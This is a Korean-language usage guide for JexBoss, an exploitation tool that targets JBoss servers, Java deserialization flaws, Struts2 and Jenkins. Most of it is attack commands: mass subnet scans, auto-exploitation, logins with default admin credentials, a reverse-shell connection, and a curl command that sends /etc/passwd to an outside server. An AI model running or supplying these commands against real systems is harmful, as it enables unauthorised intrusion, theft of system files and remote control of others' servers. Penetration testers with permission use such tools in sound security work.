
JexBoss: Jboss (및 Java 역직렬화 취약점) 검증 및 EXploitation 도구
JexBoss는 JBoss 애플리케이션 서버 및 기타 Java 플랫폼, 프레임워크, 애플리케이션 등의 취약점을 테스트하고 익스플로잇하기 위한 도구입니다.
JexBoss 최신 버전을 설치하려면 다음 명령어를 사용하세요:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
또는:
Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
CentOS에서 Python 2.6을 사용하는 경우 Python 2.7을 설치하세요. Collections Software scl을 사용한 CentOS에서 Python 2.7 설치 예:
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash
Windows를 사용하는 경우 Git Bash를 사용하여 JexBoss를 실행할 수 있습니다. 아래 단계를 따르세요:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
도구와 익스플로잇은 다음에 대해 개발 및 테스트되었습니다:
익스플로잇 벡터는 다음과 같습니다:
$ python jexboss.py

$ python jexboss.py -u http://192.168.0.26:8080

$ python jexboss.py -h
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt


JBoss 서버를 익스플로잇한 후, 자체 jexboss 명령 셸을 사용하거나 다음 명령어를 사용하여 리버스 연결을 수행할 수 있습니다:
jexremote=YOUR_IP:YOUR_PORT
예:
Shell>jexremote=192.168.0.10:4444

Java 역직렬화 취약점 (Application Deserialization, Servlet Deserialization)을 익스플로잇할 때 기본 옵션은 다음과 같습니다: 리버스 셸 연결을 생성하거나 실행할 명령을 전송합니다.
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
--auto-exploit, -A Send exploit code automatically (USE ONLY IF YOU HAVE
PERMISSION!!!)
--disable-check-updates, -D
Disable two updates checks: 1) Check for updates
performed by the webshell in exploited server at
http://webshell.jexboss.net/jsp_version.txt and 2)
check for updates performed by the jexboss client at
http://joaomatosf.com/rnp/releases.txt
-mode {standalone,auto-scan,file-scan}
Operation mode (DEFAULT: standalone)
--app-unserialize, -j
Check for java unserialization vulnerabilities in HTTP
parameters (eg. javax.faces.ViewState, oldFormData,
etc)
--servlet-unserialize, -l
Check for java unserialization vulnerabilities in
Servlets (like Invoker interfaces)
--jboss Check only for JBOSS vectors.
--jenkins Check only for Jenkins CLI vector.
--jmxtomcat Check JMX JmxRemoteLifecycleListener in Tomcat
(CVE-2016-8735 and CVE-2016-8735). OBS: Will not be
checked by default.
--proxy PROXY, -P PROXY
Use a http proxy to connect to the target URL (eg. -P
http://192.168.0.1:3128)
--proxy-cred LOGIN:PASS, -L LOGIN:PASS
Proxy authentication credentials (eg -L name:password)
--jboss-login LOGIN:PASS, -J LOGIN:PASS
JBoss login and password for exploit admin-console in
JBoss 5 and JBoss 6 (default: admin:admin)
--timeout TIMEOUT Seconds to wait before timeout connection (default 3)